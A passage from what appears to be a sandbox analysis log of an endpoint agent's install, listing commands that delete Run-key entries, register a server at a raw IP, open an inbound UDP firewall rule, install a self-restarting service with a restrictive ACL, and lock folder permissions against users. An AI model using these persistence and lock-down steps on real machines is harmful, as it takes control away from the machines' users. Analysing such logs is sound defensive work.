    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Service" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4824
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Service" /f
        6⤵
        
        PID:5836
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Watchdog" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5520
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Watchdog" /f
        6⤵
        
        PID:4212
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Service" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4532
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Service" /f
        6⤵
        
        PID:4192
    - - C:\dcy\Client\safety.exe
        
        "C:\dcy\Client\safety.exe" --init-config --server-url "http://134.122.189.138:5088"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4952
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c netsh advfirewall firewall delete rule name="safety live screen udp" program="C:\dcy\Client\safety.exe" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3032
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall delete rule name="safety live screen udp" program="C:\dcy\Client\safety.exe"
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3376
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c netsh advfirewall firewall add rule name="safety live screen udp" dir=in action=allow program="C:\dcy\Client\safety.exe" enable=yes profile=any protocol=UDP localport=40000-40020 >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2872
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="safety live screen udp" dir=in action=allow program="C:\dcy\Client\safety.exe" enable=yes profile=any protocol=UDP localport=40000-40020
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:752
    - - C:\dcy\Client\safety.exe
        
        "C:\dcy\Client\safety.exe" --install-service
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5736
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" query safety
        6⤵
        Launches sc.exe
        
        PID:3324
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
        6⤵
        Launches sc.exe
        
        PID:4264
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
        6⤵
        
        PID:3512
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" failureflag safety 1
        6⤵
        
        PID:3152
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
        6⤵
        
        PID:1752
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" start safety
        6⤵
        
        PID:3808
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c icacls "C:\dcy" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C >nul 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:668
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2592
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c for /d /r "C:\dcy" %G in (*) do icacls "%G" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C >nul 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:3456
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3360
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\af-ZA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1740
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\am-ET" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:744
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ar-SA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\az-Latn-AZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5976
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\be-BY" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1088
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bg-BG" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4968
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bn-BD" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2608
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bs-Latn-BA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3924
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ca-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs-CZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4196
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\da-DK" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2404
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de-DE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:3176
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\el-GR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5836
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\en-GB" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:4768
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es-MX" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4332
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\et-EE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\eu-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fa-IR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4180
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fi-FI" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:4732
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr-CA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3904
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr-FR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\gl-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\he-IL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hi-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1644
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hr-HR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5536
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hu-HU" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2268
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\id-ID" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:6008
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\is-IS" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3104
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it-IT" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1096
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja-JP" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3064
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ka-GE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4392
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\kk-KZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:1352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\km-KH" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5080
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\kn-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4144
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4716
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko-KR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5588
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lo-LA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5664
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lt-LT" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3776
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lv-LV" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mk-MK" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3388
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ml-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3312
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ms-MY" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2548
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nb-NO" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5144
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nl-NL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3016
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nn-NO" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2008
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl-PL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5716
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-PT" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1904
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ro-RO" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3476
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru-RU" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:4304
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sk-SK" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sl-SI" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5848
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sq-AL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2604
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sr-Latn-RS" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1620
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sv-SE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3528
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sw-KE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2068
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ta-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:6092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\te-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3320
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\th-TH" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4060
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tools" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3500
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:5724
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr-TR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3796
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\uk-UA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1440
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\uz-Latn-UZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\vi-VN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1092
      - C:\Windows\system32\icacls.exe
        
